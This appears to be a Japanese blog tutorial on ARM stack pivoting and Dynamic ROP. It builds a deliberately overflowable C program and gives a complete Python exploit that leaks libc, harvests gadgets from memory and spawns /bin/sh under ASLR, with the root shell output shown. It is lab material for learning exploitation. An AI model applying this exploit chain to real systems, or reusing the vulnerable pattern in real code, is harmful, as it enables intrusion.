ARMでstack pivot、Dynamic ROPをやってみる

「ARMでReturn-oriented Programming(ROP)をやってみる」ではlibcのベースアドレス、libc関数のオフセットを調べた上でROPを行った。 ここでは、ASLRが有効となっている場合を想定し、GOTアドレスの書き出しおよびstack pivotをもとにしたDynamic ROP(JIT-ROP)によりシェルを起動してみる。

環境

Ubuntu 14.04.2 LTS ARM版(ユーザモードQEMU利用)

# uname -a
Linux c7b94bb2fc1e 2.6.32 #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 armv7l armv7l armv7l GNU/Linux

# lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.2 LTS
Release:        14.04
Codename:       trusty

# gcc --version
gcc (Ubuntu/Linaro 4.8.2-19ubuntu1) 4.8.2

脆弱性のあるプログラムを書いてみる

まず、スタックバッファオーバーフロー脆弱性のあるプログラムコードを書く。 このコードは、「ARMでReturn-oriented Programming(ROP)をやってみる」のものと同じである。

/* bof.c */
#include <unistd.h>

int main()
{
    char buf[100];
    int size;
    read(0, &size, 4);
    read(0, buf, size);
    write(1, buf, size);
    return 0;
}

ここでは、read/write関数を使い、データ長とその長さのデータを読み込んでいる。

DEP有効、SSP無効でコンパイルし、実行してみると次のようになる。 なお、QEMUによるエミュレーションのため、ASLRは常に無効となっている。

# gcc -fno-stack-protector bof.c
# echo -en '\x05\x00\x00\x00AAAA\n' | ./a.out
AAAA

正常に実行できていることが確認できる。

生成された実行ファイルをディスアセンブルし、main関数に対応する部分を抜き出してみる。

# objdump -d a.out | awk '/<main>:/,/^$/'
00008420 <main>:
    8420:       b580            push    {r7, lr}
    8422:       b09a            sub     sp, #104        ; 0x68
    8424:       af00            add     r7, sp, #0
    8426:       463b            mov     r3, r7
    8428:       2000            movs    r0, #0
    842a:       4619            mov     r1, r3
    842c:       2204            movs    r2, #4
    842e:       f7ff ef6c       blx     8308 <_init+0x20>
    8432:       683b            ldr     r3, [r7, #0]
    8434:       1d3a            adds    r2, r7, #4
    8436:       2000            movs    r0, #0
    8438:       4611            mov     r1, r2
    843a:       461a            mov     r2, r3
    843c:       f7ff ef64       blx     8308 <_init+0x20>
    8440:       683b            ldr     r3, [r7, #0]
    8442:       1d3a            adds    r2, r7, #4
    8444:       2001            movs    r0, #1
    8446:       4611            mov     r1, r2
    8448:       461a            mov     r2, r3
    844a:       f7ff ef70       blx     832c <_init+0x44>
    844e:       2300            movs    r3, #0
    8450:       4618            mov     r0, r3
    8452:       3768            adds    r7, #104        ; 0x68
    8454:       46bd            mov     sp, r7
    8456:       bd80            pop     {r7, pc}

アセンブリコードの内容から、「ARMで単純なスタックバッファオーバーフローをやってみる」の場合と同じくリターンアドレスがバッファの先頭から104バイト先に配置されていることがわかる。 ここでは、このオフセットについてデバッガで確認する手順は省略する。

ライブラリ関数に対応するPLTおよびGOTのアドレスを調べてみる

read/write関数を用いたROP stagerを行うために、read/write関数のPLTアドレスを調べてみる。 また、libcベースアドレス特定のために用いる__libc_start_main関数のGOTアドレスも合わせて調べる。

実行ファイルのディスアセンブル結果を見てみると、x86/x64の場合とは異なり、PLTにそれぞれのライブラリ関数に対応するシンボル情報がないことがわかる。

# objdump -d a.out
Disassembly of section .plt:

000082f4 <.plt>:
    82f4:       e52de004        push    {lr}            ; (str lr, [sp, #-4]!)
    82f8:       e59fe004        ldr     lr, [pc, #4]    ; 8304 <_init+0x1c>
    82fc:       e08fe00e        add     lr, pc, lr
    8300:       e5bef008        ldr     pc, [lr, #8]!
    8304:       00008cfc        .word   0x00008cfc
    8308:       e28fc600        add     ip, pc, #0, 12
    830c:       e28cca08        add     ip, ip, #8, 20  ; 0x8000
    8310:       e5bcfcfc        ldr     pc, [ip, #3324]!        ; 0xcfc
    8314:       e28fc600        add     ip, pc, #0, 12
    8318:       e28cca08        add     ip, ip, #8, 20  ; 0x8000
    831c:       e5bcfcf4        ldr     pc, [ip, #3316]!        ; 0xcf4
    8320:       e28fc600        add     ip, pc, #0, 12
    8324:       e28cca08        add     ip, ip, #8, 20  ; 0x8000
    8328:       e5bcfcec        ldr     pc, [ip, #3308]!        ; 0xcec
    832c:       e28fc600        add     ip, pc, #0, 12
    8330:       e28cca08        add     ip, ip, #8, 20  ; 0x8000
    8334:       e5bcfce4        ldr     pc, [ip, #3300]!        ; 0xce4
    8338:       e28fc600        add     ip, pc, #0, 12
    833c:       e28cca08        add     ip, ip, #8, 20  ; 0x8000
    8340:       e5bcfcdc        ldr     pc, [ip, #3292]!        ; 0xcdc

このままでは、どの箇所がどのライブラリ関数に対応するかを容易に特定できない。 しかし、実はARMの場合はrel.pltセクションの情報からこれを調べることができる。

# readelf -r a.out
Relocation section '.rel.plt' at offset 0x2c0 contains 5 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0001100c  00000216 R_ARM_JUMP_SLOT   00008308   read
00011010  00000516 R_ARM_JUMP_SLOT   00008314   __libc_start_main
00011014  00000116 R_ARM_JUMP_SLOT   00000000   __gmon_start__
00011018  00000316 R_ARM_JUMP_SLOT   0000832c   write
0001101c  00000416 R_ARM_JUMP_SLOT   00008338   abort

上の結果の場合、read、write関数に対応するPLTアドレスはそれぞれ0x83080x832cとなる。

また、ライブラリ関数に対応するGOTアドレスは上の結果におけるOffsetの値から調べられる。 したがって、__libc_start_main関数のGOTアドレスは0x11010となる。

stack pivotを行うgadgetを探してみる

ROP stagerにおいて送り込んだデータにスタックポインタを移し変えるには、spレジスタの値を変更する必要がある。 そこで実行ファイルをディスアセンブルし、spレジスタに関連する部分を調べると次のようなgadgetが見つかる。

00008420 <main>:
    ...
    8454:       46bd            mov     sp, r7
    8456:       bd80            pop     {r7, pc}

これを用い、0x8456でスタックからr7レジスタをセットした後、0x8454でr7レジスタの値をspレジスタにセットすることでstack pivotを行うことができる。 なお、clangでコンパイルした場合対応する箇所がThumb命令でなくARM命令となるが、同様の順序でr7レジスタの代わりにfp(r11)レジスタを使うことでstack pivotを行うことができる。

$ clang -fno-stack-protector bof.c

$ objdump -d a.out | less
00008420 <main>:
    ...
    848c:       e1a0d00b        mov     sp, fp
    8490:       e8bd8800        pop     {fp, pc}

また、r7レジスタは__libc_csu_init関数内にある次のgadgetにてセット可能である。

00008458 <__libc_csu_init>:
    ...
    848a:       e8bd 83f8       ldmia.w sp!, {r3, r4, r5, r6, r7, r8, r9, pc}

そこで、ここではこのgadgetを使ってr7レジスタをセットすることでstack pivotを行うことにする。

エクスプロイトコードを書いてみる

ここまでの内容をもとに、read/write関数およびstack pivotを用いてDynamic ROPを行うエクスプロイトコードを書くと次のようになる。

# exploit.py
import struct
from subprocess import Popen, PIPE

addr_stage = 0x1102c                       # readelf -S a.out (.bss section)
offset = 104

addr_csu_init1 = 0x848a + 1                # load registers
addr_csu_init2 = 0x847e + 1                # move registers, blx r3 and above
addr_pivot = 0x8454 + 1                    # mov sp, r7; pop {r7, pc}
addr_plt_read = 0x8308
addr_plt_write = 0x832c
addr_got_libc_start = 0x11010

"""
# readelf -r a.out
Relocation section '.rel.plt' at offset 0x2c0 contains 5 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0001100c  00000216 R_ARM_JUMP_SLOT   00008308   read
00011010  00000516 R_ARM_JUMP_SLOT   00008314   __libc_start_main
00011014  00000116 R_ARM_JUMP_SLOT   00000000   __gmon_start__
00011018  00000316 R_ARM_JUMP_SLOT   0000832c   write
0001101c  00000416 R_ARM_JUMP_SLOT   00008338   abort

# objdump -d a.out
00008458 <__libc_csu_init>:
    ...
    847e:       4638            mov     r0, r7
    8480:       4641            mov     r1, r8
    8482:       464a            mov     r2, r9
    8484:       4798            blx     r3
    8486:       42b4            cmp     r4, r6
    8488:       d1f6            bne.n   8478 <__libc_csu_init+0x20>
    848a:       e8bd 83f8       ldmia.w sp!, {r3, r4, r5, r6, r7, r8, r9, pc}

00008420 <main>:
    ...
    8454:       46bd            mov     sp, r7
    8456:       bd80            pop     {r7, pc}
"""

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

# stage 1: read the address of __libc_start_main
buf = 'A' * offset
buf += struct.pack('<IIIIIIII', addr_csu_init1, addr_plt_write, 0, 0, 0, 1, addr_got_libc_start, 4)
buf += struct.pack('<IIIIIIII', addr_csu_init2, addr_plt_read, 0, 0, 0, 0, addr_stage, 0x80)
buf += struct.pack('<IIIIIIII', addr_csu_init2, 0, 0, 0, 0, addr_stage-4, 0, 0)
buf += struct.pack('<I', addr_pivot)

size = struct.pack('<I', len(buf))
p.stdin.write(size)
print "[<] %r" % size

p.stdin.write(buf)
print "[<] %r" % buf

line = p.stdout.read(len(buf))
print "[>] %r" % line

data = p.stdout.read(4)
addr_libc_start = struct.unpack('<I', data)[0]
print "[+] addr_libc_start = %x" % addr_libc_start

# stage 2: read the libc memory
libc_read_size = 0xc0000

buf = struct.pack('<IIIIIIII', addr_csu_init1, addr_plt_write, 0, 0, 0, 1, addr_libc_start, libc_read_size)
buf += struct.pack('<IIIIIIII', addr_csu_init2, addr_plt_read, 0, 0, 0, 0, addr_stage+0x60, 0x80)
buf += struct.pack('<IIIIIIII', addr_csu_init2, 0, 0, 0, 0, 0, 0, 0)
buf += 'A' * (0x80-len(buf))  # here is overwritten by stage 3
p.stdin.write(buf)

data = p.stdout.read(libc_read_size)
print "[+] read %x bytes" % len(data)
addr_stage += 0x60

# stage 3: execve("/bin/sh", NULL, NULL)
addr_pop_r0_3fp = addr_libc_start + data.index('\xbd\xe8\x0f\x88') + 1
addr_pop_r4_7 = addr_libc_start + data.index('\xf0\xbd') + 1
addr_svc0 = addr_libc_start + data.index('\x00\xdf') + 1
nr_execve = 11

"""
$ objdump -d /lib/arm-linux-gnueabihf/libc.so.6 | grep ldmia | grep pc | grep r0
   955a6:       e8bd 880f       ldmia.w sp!, {r0, r1, r2, r3, fp, pc}

$ objdump -d /lib/arm-linux-gnueabihf/libc.so.6 | grep pop | grep pc | grep r7
   17d8a:       bdf0            pop     {r4, r5, r6, r7, pc}

$ objdump -d /lib/arm-linux-gnueabihf/libc.so.6 | grep svc | grep 0
   178e4:       df00            svc     0

$ grep execve /usr/include/arm-linux-gnueabihf/asm/unistd.h
#define __NR_execve                     (__NR_SYSCALL_BASE+ 11)
"""

buf = struct.pack('<IIIIII', addr_pop_r0_3fp, addr_stage+0x30, 0, 0, 0, 0)
buf += struct.pack('<IIIII', addr_pop_r4_7, 0, 0, 0, nr_execve)
buf += struct.pack('<I', addr_svc0)
buf += "/bin/sh\x00"
buf += 'A' * (0x80-len(buf))
p.stdin.write(buf)

p.stdin.write('exec /bin/sh <&2 >&2\n')
p.wait()

上のコードでは、実際のlibcに含まれるgadgetをもとに引数(r0~r6レジスタ)とシステムコール番号(r7レジスタ)をセットし、svc 0を実行することでシステムコールを呼び出している。 また、コード中にlibcのベースアドレス、libc関数のオフセットが含まれないことからわかるように、このコードはASLRが有効な条件下でも動作する(PIEの場合を除く)。

実際にエクスプロイトコードを実行すると次のようになる。

$ python exploit.py
[<] '\xcc\x00\x00\x00'
[<] 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x8b\x84\x00\x00,\x83\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x10\x10\x01\x00\x04\x00\x00\x00\x7f\x84\x00\x00\x08\x83\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00,\x10\x01\x00\x80\x00\x00\x00\x7f\x84\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00U\x84\x00\x00'
[>] 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x8b\x84\x00\x00,\x83\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x10\x10\x01\x00\x04\x00\x00\x00\x7f\x84\x00\x00\x08\x83\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00,\x10\x01\x00\x80\x00\x00\x00\x7f\x84\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00U\x84\x00\x00'
[+] addr_libc_start = f6707599
[+] read c0000 bytes
# id
uid=0(root) gid=0(root) groups=0(root)
#

read/write関数とstack pivotを使い、libcバイナリの情報を用いることなくDynamic ROPによりシェルが起動できていることが確認できた。